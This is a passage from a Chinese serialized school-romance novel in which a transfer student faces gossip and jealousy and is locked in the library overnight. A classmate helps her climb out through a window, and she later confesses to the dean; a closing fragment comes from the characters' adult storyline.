比坚持跑下来，东倒西歪干呕的女同学淡定太多太多。
“厉害啊，体育健将！”
一场比赛，高二七班看上去文文弱弱的插班生一下子被传成体坛明日之星。
隋英由衷佩服河道二中散布谣言，呃，呃……信息传播的速度。
领完奖，她像流量爱豆一样被簇拥着回到班级所在的阶梯观众席，受到班主任张建章女士文采斐然的表扬。
其实像隋英这样的学生，是老师最喜欢的一种。
踏实、认真、努力，原始学习成绩不错，性格乖巧，关键还愿意及时反应问题。一般像这样的学生都是文化课成绩好，其他都一般。
隋英今天的体育成绩打破这种固有认知，班主任越来看喜欢。
张女士是语文老师，只要她愿意，夸人的辞藻不带重样，只是她越表扬，隋英的头垂的越低。
直夸到整个高二七班学生心里发毛时才罢休。
六点后的学校食堂，隋英端着餐具经过一撮撮吃饭的同学，还能零星听到议论她的声音。
“乡下人，身体都好，我们可比不了。”
刚落座，就听见隔壁桌孔枚在说话，与她一起的除了顾柔嘉，还有其他班同学，个别脸熟。
“可她看上去很瘦。”
“精瘦精瘦的，一看就是常干体力活。”
“可她也很白。”
顾柔嘉：“……”
孔枚：“……”
“个又高。”
顾柔嘉无所谓。
孔枚低下头，她在班上最矮。
眼看苏韫又要冲锋陷阵，隋英赶紧给她夹了块鸡腿，“今天帮我搬东西辛苦了，多吃点。”
“你才要多吃点，看你瘦的，一天两枚金牌，还破纪录。这杯牛奶给你喝，美白的，”苏韫乜了眼隔壁桌，“我们又高又白又瘦，拿金牌毫不费力，优雅，低调，是吧。？”
孔枚恶狠狠瞪着苏韫，“你什么意思？”
“多买了一瓶，请你喝。”苏韫给孔枚递上牛奶，被孔枚抓起扔掉，“你有病啊，谁稀罕。”
隋英赶紧拦住苏韫，悄声道：“别惹事呀。”说着捡起牛奶。
“真是的，我好心请她喝牛奶她还不领情，难怪不到一米四，唔唔……”隋英手动闭麦，拖着苏韫火速离开，“晶晶。”
“我来收拾。”余光瞥见隔壁桌怒气值飙升，蔡晶晶火速收拾餐具撤离。
隋英直接将苏韫拖到操场银杏树下，“你怎么回事，什么难听说什么，你明知道孔枚最在意身高，你还挤兑她。”
“我故意的，谁让她嘴贱。”
隋英头疼，苏韫持续输出，“你还说我，她那么说你，你一句都不知道反驳，真是太没用了。”
“我，那么多人一齐说话的时候，我就说不出话，我心里能想到反驳的话，就是说不出口，除非他们一个一个的来。”
“你还有这缺点？”苏韫眼珠子一转，“可千万别说出去，免得被攻击。”
“我是想，这一次我忍了，孔枚她们觉得没意思，下次就不说了。”
苏韫气地拍了她一巴掌，“人活一口气，你能不能有点出息，你这样只会让她们得寸进尺。”
隋英想了想，她说话前一般都会在脑子里先过一遍。
“第一，她们已经说的很难听了，再难听的话她们也不好意思说，第二，我体育成绩比她们好，体能也比她们强，所以她们不敢动手。”
隋英抿嘴略微沉吟，“学校有没有，呃，校园，呃……”
“没有，”这次苏韫回答的很坚定，“咱们学校对校园|霸|凌查的紧，我上初中的时候就听说河道二中因为这事开除过学籍，没人敢顶风作案。”
“顾柔嘉就是在班上趾高气昂的，她是班长，不毒辣维持不了纪律。”
隋英尽量忽略苏韫口中的形容词，“那我就放心了。”
苏韫哼哼，“你知不知道有句话叫作‘明枪易躲暗箭难防’。”
“哎呀不说这个了，”隋英勾肩，背着夕阳，“告诉你一个秘密，我跑过半马。”
“半马是什么？”
“马拉松，半马就是21公里。”
“我的天，你怎么不早说，你得过马拉松金牌，甩出去不得吓死所有人。”
隋英勾着她脖子，“嘘！夸张的毛病得改，我没得名次，就是去年市里举办的马拉松，两万多人参加，我大概一万多名吧。”
“那也很厉害，”苏韫满眼崇拜，“这些年你成长了我的姑娘。你为什么要去跑马拉松？”
“心情不好。”隋英青涩的脸颊闪过一丝不符合年纪的忧伤，“我是翘课参加的，你别说出去。”
“你？翘课？乖乖女不乖哦~我懂我懂，我也有秘密告诉你。”
……
运动会最后三天是篮球比赛。
普通高中，除了体育生，大多数女生都不会主动去练篮球，是以，校篮球运动会是以班为单位的男篮比赛。
前两天交叉比赛，隋英一直泡在图书馆。
最后一天下午，苏韫说进决赛了，班主任肯定会盯着，全班不能缺席。
六班和七班争夺冠亚。
班主任都坐解说席，其他同学围篮球场站一圈，也没按班级，苏韫拉着隋英和蔡晶晶挤到中间位置。
“陈灿阳扣篮耶，厉害。”隋英望了一眼，随口一说，却惹得旁边女生不满，“蒋弋连赢四场没有休息，不懂就别乱说。”
隋英懵了，她……说错什么了？
苏韫捂着嘴咬耳朵，“蒋弋防守。”
隋英表示看到了，“哦……”迟钝的反应过来。
她刚才这话在旁边女生听来就是“蒋弋没防守好，让陈灿阳得了分，陈灿阳比蒋弋篮球打的好”云云。
不是吧，搞得跟爱豆粉丝掐架似的。
她真的只是刚挤进来，刚好看到陈灿阳扣球，无心随口一说。
而已。
“大家都这么直白吗？”隋英也咬耳朵。
明目张胆维护蒋弋，不怕传绯闻。？
“她们看到蒋弋就跟狗看到肉包子一样，噗噗……别掐我呀。”
隋英白了她一眼，抬眸恰好看到蒋弋带球过线，被六班死死防守，他直接在三分线投球，完美的三分球。
篮球场沸腾了。
隋英刚想跟着喝彩，却见旁边女生，也不知道是哪个班的，正用一种得意中带着挑衅的眼神看她。
想着多一事不如少一事，隋英便站着没动，没跳，没叫，只是随大流鼓掌。
女生却不想放过她，提高音量质问：“你真的是蒋弋的死对头。？”
隋英瞳孔微缩，这话……是什么意思？
“你出卖了他。”
隋英了然，是打小报告后的连锁反应。她没啃声，转头继续看篮球比赛，不管谁进球，她都跟着周围人鼓掌。
中场休息，苏韫拉着隋英去买水，又遇到那个女生。
“七班的隋英，我告诉你，
13. Chap.13
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河道二中高二高三没有周末。
周末不上课，全天自习，只有周六晚上没有晚自习，住校生大多数会回家。
隋英还在补进度，高二六门主课，一学期的进度全靠自己。
吃过晚餐后，拿了作业到图书馆去写。
数理化试卷各来一套，对完答案，隋英揉揉眉心，心里盘算着先写两篇英语短文，还是做两页语文知识点强化训练。
还是到书架区找本喜欢的书看看，稍微休息下脑子。
理智上还在挣扎，身体已经很诚实地起身，自主走到四排2-10区，一眼就看出飞行类的书籍多了一格。
立刻摸出一本，一目三行地读了起来。
初秋的风带进铜绿配色的银杏叶，翩然落在书上。
隋英拿起树叶莞尔，索性夹在书里，已经还剩最后一章，她决定一鼓作气。
忽然眼前一黑。
隋英猛然站起，双腿麻木，第一下没站直。
她蹲在这里几乎看完一整本。
哎呀忘了时间，十一点半图书馆关门。
借着书架上方玻璃窗外漏进的亮光，隋英将书放回，一瘸一拐，连蹦带跳出了书架区，提起帆布包就往门口走。
“老师等一下，”她边喊边跳，从来不知道腿麻了这么不受控制，“老师？”
大门已经关上，隋英边拍边叫，外面没有回应，她只能加大力气拍门……
五分钟后，隋英自己开灯，在柜台那里看了几眼，没有座机，座机安装在一楼办卡的办公室。
她也没手机。
在图书馆待一晚上？
行吧。
一分钟做好决定，隋英重新回到书架区，把那本书看完，然后按计划写了两篇英语短文，做了两页语文知识强化训练题。
还不困，干脆再背一篇文言文。
从选修篇中翻了一篇李斯的《谏逐客书》，先是默读，觉得不过瘾，反正这会图书馆里没人，她干脆放出声音诵读。
“……孝公用商鞅之法，移风易俗，民以殷盛，国以富强，百姓乐用……”
图书馆门口猫着几个学生，昏暗的过道里看不清样子。
有人压低声音，“都十二点半了，我们回去吧。”
“你们听，她好像在背课文，别是吓疯了。”
“我老早就说她脑子有问题，指着孟子的画像叫蒋弋不要当着孟夫子打她，这种人，神经病。”
“她怎么不打电话叫人。”
“我一直盯着她，没见过她带手机，大概没有。”
“这年头还有人没手机？”
“乡下的穷鬼。”
“她不会告老师吧，别忘了，她连蒋弋都敢打小报告。”
“怕什么，谁看见了，是她自己错过时间的。”
隋英压根不知道外面猫着同学，等着听她吓哭的样子。背完一段，默写一段巩固记忆，然后继续下一段。
外面的人觉得没意思，干脆撤人。
隋英一个人在图书馆背的热火朝天，不过到底是高中生，一点不到就趴桌上睡着了。
翌日清早，趁着管理员不注意，隋英偷偷溜出去，在厕所洗了把脸，直接去了教室。
学校有规定，晚上十一点半禁止学生在图书馆逗留，她以为是自己错过了时间，不敢叫管理员知道。
“你昨晚回家了？”苏韫将一瓶热牛奶放她桌肚里。
隋英摇头，却见苏韫又往旁边同桌桌肚里放零食。
运动会周没换座位，这周隋英又与苏韫坐同桌。
但，河道二中高二七班的座位是：
左边靠操场窗户两人同桌，中间三人同桌，这周苏韫左右都有同桌，最右边靠走廊单刷。
据悉，这是张建章女士的创意安排。
三人桌和单桌同学都曾反对，但反对无效。
苏韫又回过头，往她桌肚里放零食，“我堂哥从国外带回来的，拆开一看，包装上写着：中国制造。”
隋英莞尔，将昨晚写的英语短文给她，然后勾勾手指。
“…没写，”苏韫吐舌头，“今晚补上。”
她们俩几乎每天做英语短文训练，然后互相批阅，隋英在桌框下举了两根手指，“双倍。”
苏韫眨眨眼，“我昨晚回家给你带了好多好吃的，今早放宿舍了，看你床铺没动。”
隋英示意，两人头对头，她压低声音：“我昨晚在图书馆，对，错过时间了，一晚上。”苏韫赶紧在嘴巴上做了个拉链动作，两人同时点头。
少年人精力旺盛，昨晚没睡好，白天还是精神抖擞，注意力集中。
该刷图刷题，该复习复习。
课间一直有别班同学在七班门口探头探脑，隋英出去装水碰到，对方看着她的眼神很不对。
又见她们与孔枚在走廊里嘀嘀咕咕，见她走近，都很警惕。
她们几个大概是蒋弋的暗恋者，在提防她，隋英有意保持距离。
食堂吃饭，还是这几个，在她斜对角桌吃饭，眼神时不时扫到她。
隋英想，难道是盯梢？
怕她又向老师打蒋弋的小报告？不会吧，难道之前打过小报告的都被盯过？她当时完全是为了撇清关系。
谁让这些人闲着没事，空口造谣。
晚自习十点半铃声一响，隋英立刻收拾好课桌，书本不带，“回宿舍。”
“出息了，”苏韫也追出来，“头一次见你下课这么积极，书都不带。”
“今晚要好好睡一觉，”隋英嬉笑，“再说了，宿舍里有睡前读物。”
两人追逐着最先跑回宿舍，换好睡衣，蔡晶晶和罗君怡也回到宿舍。
大家一前一后洗漱完，另外三个女孩开始对着镜子护肤，隋英吹干头发，直接躺下睡觉。
“你没带护肤品？”罗君怡从镜子上抬起头，“昨晚不是回家了吗。”
隋英搬来宿舍，洗漱用品就三样：洗发水、沐浴露和香皂，其他擦脸的全没有，更别说眼影盘、眉笔、带色的润唇膏了。
起初她们三个都以为是隋英没带。
加之运动会大家都累，谁也没在意。
昨晚宿舍就只有罗君怡，今早苏韫和蔡晶晶大包小包先回的宿舍，就是没见隋英。
“你不会没用过吧，”罗君怡没啥恶意，也不算善意地开口，“好皮肤是靠钱堆出来的。”
隋英睁眼，听见苏韫开口：“英子长得漂亮，皮肤又好，根本用不着这些。”
罗君怡撇撇嘴，拿了瓶贵的精华，“南歌子也用这个牌子，我那天在她宿舍看到的，隋英，你试试。”
言外之意是校花也在用，你觉得你比校花还漂亮？
“要天生丽质用了才有用。”苏韫一语双关地顶回去。
没想到会误伤。
蔡晶晶默默收回要接精华的手，刚好被苏韫和罗君怡看到，两人不再说话。
隋英没了睡意，刚搬进来那天，罗君怡就给她脸色，苏韫悄悄告诉她，罗君怡偷藏蒋弋照片。
彼时她和蒋弋谣言满
14. Chap.14
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“……砰……砰……砰……”
远远近近的声响仿佛从地底下传来，隋英下意识后退，她感觉地面都在震动。
黢黑的环境，所有感官被放大，一点点风吹草动都会变的扭曲，蓦然，身后的缝隙里漏出几声“呜呜嗤嗤”，似有什么东西挤压摩擦。
她吓得赶紧往高高的窗户那边跑去，脑海里堆织交叠出无数看过听过的杀人分尸恐怖画面……
河道二中这座新图书馆，原址是将干枯十年以上的南河道填了一块。
荒废十年的干河道，谁知道底下有什么。
听闻，当时有个开发商是打算建商场的，不知为什么，又改建图书馆，还无偿捐给了河道二中。
有一种封建迷信是怎么说的，学生阳气重，可以镇压……
不不不，隋英奋力甩了甩胡思乱想的脑子，蓦然：
“碰……嚓……碰碰碰！”站在最后一排书架这里，抬头望着有亮光的窗户，她忽然分清楚，这是打篮球的声音。
隋英欣喜若狂。
“救命！救命！”
隋英扯着嗓子喊了两声救命，忽然听到图书馆门外又传来……像是捏碎鱼泡泡的声音。
她赶紧闭嘴。
怔怔盯了会图书馆的门，没再听到其他声音，黑黢黢的，没有什么移动的物体。
唯一欣慰的是打篮球的声音始终不远不近，不知道是老师还是学生在打。
图书馆分上下两层，正门靠东，没有窗户；南面是南河道，窗户很高很小；大窗户开在西面和北面。
操场就在图书馆北面，几乎相连。
隋英望着一排排书架格子，爬上去应该没问题。
目测在最上面一层，完全能从窗户爬出去。
说干就干，她只是外表看上弱稚娇柔，实际上与绝大多数十六七岁的青少年一样，三两下就爬到半中|央位置。
“呲呲……”门口方向又传来奇怪的声音。
隋英一怔，仿佛下面有狗熊舔腚，一攀一纵，几下就爬上顶层书架，头顶天护板，几乎站不直。
上半身完全能探出窗户。
她已经看到外面的银杏树，月光下的操场，与银杏树相互间隔的路灯。
一下打开窗户，夜风扑面，裹挟着银杏叶，伸手够能够到，然后是水泥铺就的校园路，以及篮球场。
恰好挨着图书馆这边的篮球架下有少年在打球。
隋英高兴欢呼，“同学，同学……”
这种天气，居然穿着短袖，“碰碰碰”的声音，他应该没听到，隋英紧盯少年，她视力非常好，越看越觉得像……蒋弋。
“蒋，蒋弋，”隋英叫了一声，少年抱着篮球回了下头，然后继续投篮。
隋英清了清嗓子，“蒋弋。”
这一声用了八成功力，蒋弋显然听到了，抓着篮球左顾右盼，然后走到水泥路上，似乎在往银杏树阴下觑了一眼。
“咳咳，”隋英很尴尬，放低了声音，“蒋弋。”
这下，蒋弋猝然抬头，先是一愣，随即笑了……他干嘛笑啊？
少年一身短袖运动裤，碎发微湿，站在银杏树下，路灯罗织树影在他脸上，仿佛故事里的少年郎君。
这一笑太违规，隋英险些滑手，从上头栽下来。
他们之间，不是在传死对头吗，她不久前才打了他的小报告，他干嘛对她笑。
十六七岁的女孩子瞬间脸红。
她总算明白为什么那么多女生喜欢他，以前其实都没有认真仔细看过他，还是从上面的位置。
“你被关在里面了？”少年扯动嘴角，有点幸灾乐祸。
这才对嘛，隋英总算回过神，老老实实点头，“对，停电了，管理员不知道我在里面。”
“停电？”蒋弋挑眉。
隋英抿了抿嘴唇，人在屋檐上，不得不低头。
打人家的小报告，害的他挨批评，还损失了一沓精神食粮，总要表示歉意的。
“蒋弋，我应该跟你道歉，我不应该打你的小报告。”隋英趴在上方窗户上，诚心诚意道歉。
“就这一件事？”
还有？隋英盯着他，少年抬着头，目光直白，她忙错开视线，再次忍气吞声，“还有你物理考47分，我，我，”
怎么感觉少年脸色不对，他都已经收回目光，不再仰着头。
从这个角度看，少年眉骨压着眼睫，鼻梁高挺，再看不到其他。
隋英赶紧拐了话题，人家考47分的事实在不应该再拿出来鞭笞。
“我一直想道谢，你借我的书我很喜欢，你也喜欢飞行对不对？书我已经看完了，在宿舍，我明天拿给你。”
少年默了一瞬，“喜欢就留着吧。”
隋英想推辞，又觉得这不是重点。
歉也道了，谢也道了，她偷偷观察少年脸色，小心开口，“你能帮我开一下门，呃……你有管理员手机号吗？能不能帮我问问学校有没有备用钥匙。”
“等着，我去拿。”
这么好说话，隋英一喜，蓦然想到什么，忙开口阻拦，“等等，”期期艾艾了半天，“你能帮我给苏韫打电话吗，让她找学校拿钥匙。”
少年再次抬眸，这次表情有些不悦，似在思忖什么。
鲁骏几个听到隋英亲口说的：学校传他俩的绯闻，隋英为了撇清关系才打小报告的，还故意叫苏韫告诉他们，不惜以交恶的方式划清界限。
现在叫他找苏韫，也是为了避嫌。
蒋弋第一次被女生嫌弃的彻彻底底。
忽然起了捉弄的心思，少年抬头，“门是电子锁，停电了有钥匙也打不开。”
“那，”隋英朝后看了一眼，黑咕隆咚的，又往窗户这边靠了靠，害怕失去这一点光亮，目光从离得最近的银杏树到贴墙的水管…
她也不是成龙。
“不如这样，你跳下来，我接着。”说着，少年走到她这边的窗户下，敞开双臂，笑意盈盈。
隋英呆了。
窗户距离地面，至少超过两层楼高，图书馆的高度比普通住宅的高度要高两米左右。
她又不是傻子。
“……我不敢。”隋英声音弱稚，小鹿般的眼睛透着无辜，任谁见了都会生出保护欲。
少年展颜，笑的唇红齿白，山花烂漫。
隋英别过脸去，高处缺氧，她有点晕。
“那我去找个梯子。”见女孩服软，少年又高兴又热情。
“好。”隋英极快回答。
传闻蒋弋性格乖戾，能干出将美女三点杂志夹进同学作文本里交上去，在学校公告栏里张贴情书的恶劣
15. Chap.15
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隋英的目光追着他奔跑的背影，唇角弯了下。
收回视线，她才注意到他的篮球，好像一直丢在银杏树下的花岗栏里，是那次买的黑蓝条纹的篮球。
她捂着跳动的心口，奇怪的心悸。
没一会，她就看到男生宿舍方向两人扛着梯子，还专门挑树荫下走，鬼鬼祟祟的。
“哈哈哈！果然是你，先拍张照，”鲁骏丢下梯子，举着手机就要给她拍照，嘴上叭叭叭，“不是嘚瑟吗，敢告我的状，落我手里了吧，你敢翻墙进图书馆，我要留下证据……”
鲁骏狠狠笑话了她一番。
“鲁骏，短了点。”蒋弋扶着梯子看了看到窗户的距离。
“你才短，哥们有三十，”鲁骏上牙咬着下唇，表情夸张，抬头对着隋英傻笑，“…嘿嘿，隋英你个高，试试。”
隋英也注意到梯子到窗户还有点距离。
蒋弋倒退到水泥路上，“差150厘米左右，你多高？”
“她一米七。”
“…还没有。”高一入学的时候体检才165，不过她感觉又长了点，加之她瘦，就显高。
蒋弋试着将梯子再往墙根贴近了点，鲁骏挠挠头，“还是挺危险的。”
“那你等等，我去教务处借长梯子。”
“弋哥，大半夜去教务处？……还不如把锁撬了。”
“…也行，那你去找工具。”
隋英心惊肉跳地听着俩男生商量解决办法，已经试探着转过身，抓着里面铝合金窗沿，试探着去够梯子。
“喂，你等等，”
“还差的远呢，往左，你最好趴着用两条腿试，”鲁骏赶忙扶着梯子，“弋哥你干嘛，你要上去换她？”
隋英没够到梯子，想着要不要按照鲁骏说的，用两条腿去够。
忽然脚腕被人抓住，吓得她双臂紧抱窗沿，歪头看到蒋弋已经上来了，“你，我，”
“别怕。”
声音在耳边。
余光瞥见那只青筋微凸的手抓着窗户，另一只手按着她后背。
其实两个人站在梯子上面比一个人更危险，可她感觉身后仿佛出现了一层防护罩，心也定了不少。
双手紧抓窗沿，两条腿去够梯子。
身体的碰撞在所难免，都是十六七岁的年纪，两人都有些尴尬。
隋英盯着黑咕隆咚的图书馆，脚尖够到梯子的瞬间松了口气，“…呃，你先下。”
蒋弋往下走了一格，一只手还能够到窗沿。
隋英双手抓着外窗沿，慢慢又下了一格，双臂已经撑直，再没有可抓的东西，但距离手扶最上面一层还远，她不敢弯腰。
蒋弋又往下走了一格，两只手扶着她的腰。
隔着卫衣，其实不应该有痒痒，但…不过她不敢动。
“再下一格，你就能抓到梯子了。”他始终保持比她低一格。
隋英闭着眼睛，手掌贴墙向下，膝盖略弯，伸脚去够，身体仿佛向后摆了一下，千钧一发之际抓住了最上面的横梯。
双腿发软，后背发凉，怔楞了几秒，听到蒋弋已经下去。
她才长舒了口气，往下走了两格，终于安全了。
蓦然定住，隋英向下看，鲁骏和蒋弋扶着梯子看她，鲁骏见状，贱兮兮地笑着，“还想让弋哥抱你下来？”
隋英白了他一眼，抬头看了一眼，闷声闷气道：“我试卷还在里面。”
说着已经下来，单脚跳着去找鞋。
“怎么没穿鞋？”鲁骏这才看到，一脸坏笑，“哦……你们也太激烈了吧，嘿嘿，隋英，这次可是你先招惹我们弋哥的，你别想再撇清关系。”
“你闭嘴，”忽然听到图书馆另一个方向有动静，还有说话的声音，隋英大惊失色，丢下一句，“今天的事情不许说出去”，然后拔腿就跑。
鲁骏指着隋英破口大骂，“卸磨杀驴。”遭到蒋弋白眼后才反应过来，也来不及再骂，两人扛着梯子摸黑跑了。
隋英跑到一处建筑物后，探头观察了一会，见没人，她又蹑手蹑脚回到图书馆，一个人也没有。
就是那扇窗户忘关了。
篮球还在原地。
隋英担心篮球丢了，只好抱着先回宿舍。
刚走到楼梯口，苏韫从后面追上来，“你去哪了，我去图书馆找你，那里都关门了，你打篮球去了？”
隋英把刚才的经历简略说了一遍，还没说完，苏韫已经火冒三丈，“卧槽！欺人太甚。”
“注意文明用语。”
“文明个屁，你被人算计了都不知道，我跟你说，我去图书馆找你，看到几个人，他们一听到声音就从另一边楼梯跑了，我还以为是干嘛的呢。”
“…你是说有人故意把我关里面？”隋英不大相信，蓦然想到她在图书馆里听到的声音，当时脑子里胡思乱想，就自动带入了一些恐怖东西。
难道是因为外面有人？
“包括上次，肯定也是人为。我早就跟你说了，得罪了蒋弋，就会有很多人为难你，你还不相信。”
“可图书馆的钥匙除了管理员谁还有？”
“值日生有啊。”
隋英喉咙“咕噜”了下，除了总务大楼之外，学校其他地方都是全年级轮流值日，但没有晚上十一点还搞卫生的吧。
苏韫也说不清是怎么回事，“但我敢肯定，其中有一个是孔枚。”
“你不是说没看清吗？”
“我们现在就去她宿舍，看她承不承认。”
“别别别，都十二点多了，赶紧回宿舍睡觉。最后一道大题你做出来了吗？”
“第一问做出来了，…就是做不出来才出来找你的，你试卷呢？”
隋英叹气，“哎！”
两人回了宿舍，隋英胡乱说自己夜跑敷衍过去，大题最后两问都没人做出来，两人已经睡下。
苏韫的手机却响了起来，“蒋弋？他半夜找我干嘛？”
罗君怡倏地坐起来，蔡晶晶也掀开帘子，支棱起耳朵。
“喂？啊，哦，行。”苏韫挂了电话，谁也没看，抱着篮球直接离开。
“那是蒋弋的篮球？”罗君怡眼尖。
隋英假装看了眼宿舍门，当然门已经关上了，“什么篮球？”
“你们俩一起回来的。”罗君怡穿上拖鞋，大有审问隋英的架势，蔡晶晶朝她努努嘴，拉上帘子继续睡觉。
“哦，对，她是带了个篮球。”
“那是蒋弋的篮球，我们班拿了冠军，你怎么会不认识？而且刚刚你们一起回来的。”
这就是像追爱豆，从偶像用过的手机壳，戴过的项链，穿过的私服，觉得一说，所有人合该都清清楚楚一样。
隋英继续装傻充愣，“所有的篮球不都一样吗？”
罗君怡见她不开窍，悻悻坐回床上，却也不睡，势必要等苏韫回来问清楚才罢休。
隋英用冷水洗了把脸，坐到苏韫书桌前，拿了草稿纸，继续研究最后一道大题。
她想先做出来，然后明天一早去图书馆，
16. Chap.16
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隋英才走到实验楼，苏韫就火急火燎跑来，“图书馆出事了，不让进去，我是偷着混进去，拿走证据。”
这话说得没头没脑，隋英显然没听太懂。
苏韫大喘气，将卷子夹中间，“外面电箱人为断电，监控什么都没有，书架上有脚印，窗户开着，学校在排查。”
昨晚事发。
“我去找老师说清楚。”隋英觉得应该及早说清楚。
昨晚太害怕，压根没想到会留脚印，窗户也忘记关了，至于电箱人为断电，她真的什么也不知道。
“除非孔枚承认是她断电，否则没有监控，你根本就说不清楚，我现在还担心孔枚去举报你呢，早知道昨晚我就应该追上去。”
隋英很不确定，“这样真的可以吗？”
“反正又没什么损失。没监控，他们肯定也查不到你头上。”
“可我觉得原本能说清楚呀。”隋英犹豫了。
“那我问你，昨晚到时间了为什么不出去，你怎么回答？；你说你敲门了，万一管理员不承认呢，那几个管理员不是学校正式老师，推卸责任怎么呢？；你说你爬上书架，从窗户里出来的，谁配合你的，这不是把蒋弋和鲁骏都卖了吗，还是别说了。”
这三个问题问的隋英哑口无言，最后一句更是彻底封死。
到底只是一群十六七岁的半大孩子，做事漏洞百出，顾头不顾尾，想问题单线条，以为图书馆监控看不到就万事大吉。
晨操结束后，教导主任直接从操场拎走蒋弋。
第一节课课间就弄清楚了事情的来龙去脉。
少年没有秘密，消息传递飞快，几下一拼凑，即刻众所周知。
学校调取了紧挨图书馆一栋楼的监控，不过因为角度、光线和距离的问题，并不能看清面孔。
但蒋弋太出众，所以他最先被教导主任带走。
蒋弋打死也不说另外两人是谁。
——班上就这么传的。
图书馆窗户开着，还有脚印，那肯定用到梯子，学校其他梯子都好好上了锁，除了男生宿舍。
随便一查男生宿舍门口监控，鲁骏落网。
“监控里说有三个人，是不是你孟谦？”
“不是不是不是，”孟谦三连击，“我昨晚睡的早，不信你们问丁文泽。”
丁文泽耸耸肩，“不是说有一个又回去拿走了个篮球吗。”
听到“篮球”字眼，罗君怡立刻看向苏韫，苏韫低着头在桌肚里看手机，嘴里念叨国庆三天假去哪玩。
“打篮球那肯定就是你们三个，孟谦，你们爬图书馆干嘛。”
“都说了不是，你少冤枉人。”
“视频里那个最矮的就是你，还不承认。”
丁文泽打圆场，“你们别胡说，昨晚他真的在宿舍。”
“那会是谁？”
有个男生旋风般跑进来，“刚打听来的消息，这次蒋弋祸闯大了，至少记大过处分，有可能开除，叫家长没跑了。”
“你干嘛去？”
隋英刚站起，苏韫一把拉着她坐下，“你别冲动，先等等。”
苏韫轻轻拍了拍脸色惨白的隋英，对那个男生说：“不可能，不至于开除吧。”
“教导主任都气疯了，蒋弋还是那狗脾气，要是肯认错，或者交代出另一个人是谁，或许还有可能从宽处理。”
隋英浑身发抖，无意转眸，却与孔枚对上。
孔枚像是受到惊吓，猝然转过头，隋英霎时清明，她不能再做缩头乌龟，蹭的站起就往外走。
“你去哪，英子，先等等，”苏韫追出教室，没想到孔枚和顾柔嘉也跟着出了教室。
双方视线对上。
顾柔嘉不知道在想什么，孔枚像是吓得不轻。
苏韫瞬间底气十足，用挑衅地眼神瞥向孔枚，阴恻恻冷笑，像个大反派。
原先只是怀疑，现在几乎不打自招了，隋英没有说话，径直向楼梯走去，却被顾柔嘉拦住，“…上课了，你去干吗？”
“你害怕了？”苏韫盯着顾柔嘉，“我昨天去了图书馆，就是断电之后，好像看到十四班的，”故意停顿，冲着孔枚挑衅。
隋英没心情看她们闹，不顾顾柔嘉阻拦，直接下楼跑去教导主任那里。
她是拼着一口气跑去的，喘着气喊了报告，才看到将一摞书举过头顶的蒋弋和鲁骏正在挨训。
教导主任见蒋弋死活不开口，就吓唬鲁骏。
鲁骏翻来覆去，倒东倒西，全是废话：
“老师我错了……我，没谁，就是那个谁，我…不是…这个…就是…那个…老师我错了…我真的知道错了…呃…那个…”
就在教导主任即将气炸的时候，隋英突然跑来：“老师，我是来承认错误的。”
蒋弋和鲁骏诧异的偏头，他们都打算扛事了，她跑来承认个毛线。
两人一个眼神，蒋弋刚要开口，教导主任赶苍蝇似的挥手，“你们两个先滚出去。”
隋英跑的太快，加之太紧张，解释的磕磕巴巴，但总算把事情说清楚。
“你们两个进来，是这样吗？”
蒋弋没说话，鲁骏看了眼隋英，面对教导主任黑成炭的老脸，点头。
“刚才为什么不说？爬窗户多危险，为什么不找老师？为什么第一时间不讲清楚事情原委，而是要互相包庇？”
三个人低着头，没人回答。
“行了，你们三个每人写份检查，回去上课吧。”
走出办公室，隋英在想怎么写检查，鲁骏都开始抱怨了，“我帮助同学还要写检查，都怪你。”
隋英瓮声瓮气道歉，“不好意思连累你们了。”
“你怎么会留下脚印？窗户都不知道关。”
蒋弋敛眸，“是断电，人为的，所以校方才会查。”
“你是说她是被人关里面的？”鲁骏打量着隋英，“你到底得罪谁了？”
隋英看了眼蒋弋，没说话。
鲁骏捂着嘴，“不是吧，弋哥，该不会是你自导自演了一出英雄救美吧，怪不得，”
蒋弋只一个眼神，鲁骏笑眯眯捂着嘴。
这两人看着浑不在意，转头就商量放假去哪玩，只有隋英垂头丧气。
这边三人刚走，教导主任就变了脸色，气定神闲地喝起茶来。
教导主任又不是要查案，或者罚学生，记大过叫家长开除只是常规吓唬手段，就想搞清楚这帮小鬼到底搞什么。
“蒋弋这两小子不去管，隋英说的应该是实话，把学生关进图书馆后断电这个事得查清楚。”
第二节课已经上课了，蒋弋三人才喊着报告回的教室，在全班同学注目礼中回到座位。
蒋弋淡定从容，鲁骏春风得意，完全不像受过罚的样子，与之相比，隋英就像霜打的茄子，蔫头巴脑的。
第三节课英语课，老师看了眼外面，然后出去，接着叫孔枚出去。
有同学小声议论：“怎么回事？过堂呢。”“嘘~老师进来了。”
苏韫朝隋英扬眉：看吧，就是孔枚，她完了。
隋英心事重重，课间也不出去。
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话实话呀，”实话才不会担心被拆穿，“这个其实很好解释，我和贺兰琛假结婚，和我和你注册结婚，都是为了我做手术。”
“你想啊，在海边，公司聚会，当着众人的面你们宣布了结婚的消息，结果成这样，她心里肯定有气。”
况且，和顾柔嘉结婚是他外婆临终遗言，他无论如何都要给出交代。
蒋弋不知道在想什么，淡淡“嗯”了声，起身关了灯离开。
室内只余一盏昏黄壁灯，隋英心里空落落的，她甚至都不知道自己为什么要这么说，也不明白自己到底是怎么想的。
她从来都不是个犹豫不决的人。
一件事很快能想清楚，然后给出判断，绝不拖泥带水。
从小到大，父母不喜欢她，她就对父母不报希望，她甚至一点都没有羡慕，或者嫉妒过隋航得到的一切。
比如老宅拆迁的房子，以及补贴的拆迁款。
周蕊林和隋淑慧争的头破血流，她冷眼旁观，除了为奶奶争取手术费抢过拆迁款，其余她毫不关心。
好似打心底里将自己从那个家排除在外。
比如学习，她喜欢高高在上，别人追赶她的快感，她就拼命学，放弃一切玩的机会。
比如刚参加工作那会，她夜以继日攻克一个课题，快要取得成绩的时候，前辈抢功。
当她发现无论从哪个角度出手，都不可能拿回来时，可以毫不留恋壮士断腕，舍弃所有成果，开辟下一个课题。
她甚至都没关注过之前的课题在前辈的带领下走向错误，最后悄无声息的埋了。
即使后来知道了，她竟也没觉得有多可惜。
隋英一直都如此，没可能的，不留恋，心硬到近乎冷血，也避免了很多麻烦、心伤。
可唯独对蒋弋，犹豫不决，瞻前顾后，拿不起，放不下，黏黏糊糊，一点也不洒脱。
她甚至不如苏韫，爱了就义无反顾，遭遇背叛也要问清楚，实在不行还要报复回去。
隋英不明白自己究竟在顾虑什么，顾柔嘉吗？不全是。
那是什么？七年的距离吗？
想不明白。
裹着被子转身，压到伤口，刺刺汨汨的疼，她又平躺下。
